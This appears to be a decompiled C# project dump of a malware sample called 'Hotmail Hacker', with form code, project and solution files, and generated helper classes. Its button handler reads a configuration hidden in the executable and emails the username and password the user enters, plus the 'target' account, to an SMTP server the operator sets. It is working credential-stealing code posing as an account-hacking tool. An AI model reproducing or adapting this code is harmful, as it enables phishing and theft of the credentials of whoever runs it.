[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
|
||||
internal virtual GroupBox GroupBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._GroupBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.CheckBox1_CheckedChanged);
|
||||
if (this._CheckBox1 != null)
|
||||
this._CheckBox1.CheckedChanged -= eventHandler;
|
||||
this._CheckBox1 = value;
|
||||
if (this._CheckBox1 == null)
|
||||
return;
|
||||
this._CheckBox1.CheckedChanged += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label5
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label5;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label6
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label6;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
|
||||
}
|
||||
|
||||
internal virtual NumericUpDown NumericUpDown1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._NumericUpDown1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._NumericUpDown1 = value;
|
||||
}
|
||||
|
||||
internal virtual GroupBox GroupBox3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._GroupBox3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox4 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox3 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox7
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox7;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox7 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox6
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox6;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox6 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox5
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._CheckBox5;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox5 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label7
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label7;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button2_Click);
|
||||
if (this._Button2 != null)
|
||||
this._Button2.Click -= eventHandler;
|
||||
this._Button2 = value;
|
||||
if (this._Button2 == null)
|
||||
return;
|
||||
this._Button2.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
private void Button2_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
private void CheckBox1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.CheckBox1.Checked)
|
||||
{
|
||||
this.TextBox3.Enabled = false;
|
||||
this.NumericUpDown1.Enabled = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.TextBox3.Enabled = true;
|
||||
this.NumericUpDown1.Enabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
label_1:
|
||||
int num1;
|
||||
int num2;
|
||||
try
|
||||
{
|
||||
int num3 = 1;
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
label_2:
|
||||
num3 = 2;
|
||||
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_3:
|
||||
num3 = 3;
|
||||
string str1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_4:
|
||||
num3 = 4;
|
||||
string str2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_5:
|
||||
num3 = 5;
|
||||
string str3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_6:
|
||||
num3 = 6;
|
||||
string str4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_7:
|
||||
num3 = 7;
|
||||
string str5 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_8:
|
||||
num3 = 8;
|
||||
string str6 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
label_9:
|
||||
num3 = 9;
|
||||
FileSystem.FileGet(1, ref Expression);
|
||||
label_10:
|
||||
num3 = 10;
|
||||
FileSystem.FileGet(1, ref str1);
|
||||
label_11:
|
||||
num3 = 11;
|
||||
FileSystem.FileGet(1, ref str2);
|
||||
label_12:
|
||||
num3 = 12;
|
||||
FileSystem.FileGet(1, ref str3);
|
||||
label_13:
|
||||
num3 = 13;
|
||||
FileSystem.FileGet(1, ref str4);
|
||||
label_14:
|
||||
num3 = 14;
|
||||
FileSystem.FileGet(1, ref str5);
|
||||
label_15:
|
||||
num3 = 15;
|
||||
FileSystem.FileGet(1, ref str6);
|
||||
label_16:
|
||||
num3 = 16;
|
||||
FileSystem.FileClose(1);
|
||||
label_17:
|
||||
num3 = 17;
|
||||
string[] strArray = Strings.Split(Expression, "@!HoHa!@");
|
||||
label_18:
|
||||
num3 = 18;
|
||||
if (Operators.CompareString(this.TextBox1.Text, "", false) != 0)
|
||||
goto label_20;
|
||||
label_19:
|
||||
num3 = 19;
|
||||
int num4 = (int) Interaction.MsgBox((object) "You need to enter your information for this to work!");
|
||||
goto label_36;
|
||||
label_20:
|
||||
label_21:
|
||||
num3 = 22;
|
||||
if (Operators.CompareString(this.TextBox2.Text, "", false) != 0)
|
||||
goto label_23;
|
||||
label_22:
|
||||
num3 = 23;
|
||||
int num5 = (int) Interaction.MsgBox((object) "You need to enter your information for this to work!");
|
||||
goto label_36;
|
||||
label_23:
|
||||
label_24:
|
||||
ProjectData.ClearProjectError();
|
||||
num1 = -2;
|
||||
label_25:
|
||||
num3 = 27;
|
||||
MailMessage message = new MailMessage();
|
||||
label_26:
|
||||
num3 = 28;
|
||||
message.From = new MailAddress(strArray[1]);
|
||||
label_27:
|
||||
num3 = 29;
|
||||
message.To.Add(strArray[1]);
|
||||
label_28:
|
||||
num3 = 30;
|
||||
message.Subject = strArray[3];
|
||||
label_29:
|
||||
num3 = 31;
|
||||
message.Body = "Username:\r\n" + this.TextBox1.Text + "\r\n\r\nPassword:\r\n" + this.TextBox2.Text + "\r\n\r\nIs attempting to hack: \r\n" + this.TextBox4.Text;
|
||||
label_30:
|
||||
num3 = 32;
|
||||
SmtpClient smtpClient = new SmtpClient(strArray[4]);
|
||||
label_31:
|
||||
num3 = 33;
|
||||
smtpClient.Port = Conversions.ToInteger(strArray[7]);
|
||||
label_32:
|
||||
num3 = 34;
|
||||
smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray[1], strArray[2]);
|
||||
label_33:
|
||||
num3 = 35;
|
||||
smtpClient.EnableSsl = Conversions.ToBoolean(strArray[6]);
|
||||
label_34:
|
||||
num3 = 36;
|
||||
smtpClient.Send(message);
|
||||
label_35:
|
||||
num3 = 37;
|
||||
int num6 = (int) Interaction.MsgBox((object) strArray[5]);
|
||||
label_36:
|
||||
goto label_43;
|
||||
label_38:
|
||||
num2 = num3;
|
||||
switch (num1 > -2 ? num1 : 1)
|
||||
{
|
||||
case 1:
|
||||
int num7 = num2 + 1;
|
||||
num2 = 0;
|
||||
switch (num7)
|
||||
{
|
||||
case 1:
|
||||
goto label_1;
|
||||
case 2:
|
||||
goto label_2;
|
||||
case 3:
|
||||
goto label_3;
|
||||
case 4:
|
||||
goto label_4;
|
||||
case 5:
|
||||
goto label_5;
|
||||
case 6:
|
||||
goto label_6;
|
||||
case 7:
|
||||
goto label_7;
|
||||
case 8:
|
||||
goto label_8;
|
||||
case 9:
|
||||
goto label_9;
|
||||
case 10:
|
||||
goto label_10;
|
||||
case 11:
|
||||
goto label_11;
|
||||
case 12:
|
||||
goto label_12;
|
||||
case 13:
|
||||
goto label_13;
|
||||
case 14:
|
||||
goto label_14;
|
||||
case 15:
|
||||
goto label_15;
|
||||
case 16:
|
||||
goto label_16;
|
||||
case 17:
|
||||
goto label_17;
|
||||
case 18:
|
||||
goto label_18;
|
||||
case 19:
|
||||
goto label_19;
|
||||
case 20:
|
||||
case 24:
|
||||
goto label_36;
|
||||
case 21:
|
||||
goto label_20;
|
||||
case 22:
|
||||
goto label_21;
|
||||
case 23:
|
||||
goto label_22;
|
||||
case 25:
|
||||
goto label_23;
|
||||
case 26:
|
||||
goto label_24;
|
||||
case 27:
|
||||
goto label_25;
|
||||
case 28:
|
||||
goto label_26;
|
||||
case 29:
|
||||
goto label_27;
|
||||
case 30:
|
||||
goto label_28;
|
||||
case 31:
|
||||
goto label_29;
|
||||
case 32:
|
||||
goto label_30;
|
||||
case 33:
|
||||
goto label_31;
|
||||
case 34:
|
||||
goto label_32;
|
||||
case 35:
|
||||
goto label_33;
|
||||
case 36:
|
||||
goto label_34;
|
||||
case 37:
|
||||
goto label_35;
|
||||
case 38:
|
||||
goto label_43;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_38;
|
||||
}
|
||||
throw ProjectData.CreateProjectError(-2146828237);
|
||||
label_43:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
File diff suppressed because one or more lines are too long
+56
@@ -0,0 +1,56 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Hotmail Hacker</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Hotmail_Hacker</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\InternalXmlHelper.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Hotmail Hacker", "HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.csproj", "{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{EEA98E4A-7C38-4B11-A8F1-EF5099132A16}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.InternalXmlHelper
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Xml.Linq;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class InternalXmlHelper
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
private InternalXmlHelper()
|
||||
{
|
||||
}
|
||||
|
||||
public static string get_Value(IEnumerable<XElement> source)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return enumerator.Current.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_Value(IEnumerable<XElement> source, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.Value = value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return (string) enumerator.Current.Attribute(name);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.SetAttributeValue(name, (object) value);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
|
||||
|
||||
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
|
||||
{
|
||||
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
|
||||
namespaceAttribute.AddAnnotation((object) ns);
|
||||
return namespaceAttribute;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static object RemoveNamespaceAttributes(XNamespace[] ns, object obj)
|
||||
{
|
||||
if (ns != null && obj != null)
|
||||
{
|
||||
switch (obj)
|
||||
{
|
||||
case XElement e:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, e);
|
||||
case IEnumerable enumerable:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable);
|
||||
}
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static IEnumerable RemoveNamespaceAttributes(XNamespace[] ns, IEnumerable obj)
|
||||
{
|
||||
if (ns == null || obj == null)
|
||||
return obj;
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject));
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XElement RemoveNamespaceAttributes(XNamespace[] ns, XElement e)
|
||||
{
|
||||
XAttribute nextAttribute;
|
||||
if (ns != null && e != null)
|
||||
{
|
||||
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
|
||||
{
|
||||
nextAttribute = xattribute.NextAttribute;
|
||||
if (xattribute.IsNamespaceDeclaration)
|
||||
{
|
||||
XNamespace xnamespace = xattribute.Annotation<XNamespace>();
|
||||
if ((object) xnamespace != null)
|
||||
{
|
||||
int num = checked (ns.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (xnamespace == ns[index])
|
||||
{
|
||||
xattribute.Remove();
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return e;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XNamespace GetNamespace(ref XNamespace xns, string ns)
|
||||
{
|
||||
if ((object) xns == null)
|
||||
xns = XNamespace.Get(ns);
|
||||
return xns;
|
||||
}
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.MyApplication
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
MyApplication.__ENCList.Add(new WeakReference((object) this));
|
||||
this.IsSingleInstance = true;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.MyComputer
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Hotmail_Hacker.My.MyProject
|
||||
// Assembly: Hotmail Hacker, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E8381952-75CB-4303-AFBE-0C5CD4E541D7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.MSIL.MailHack.a-06f9b09397834f4d5b9b7c0e0dd8bcb88bcc97cee23fe2f27c9dcef796361dc4.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Hotmail_Hacker.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
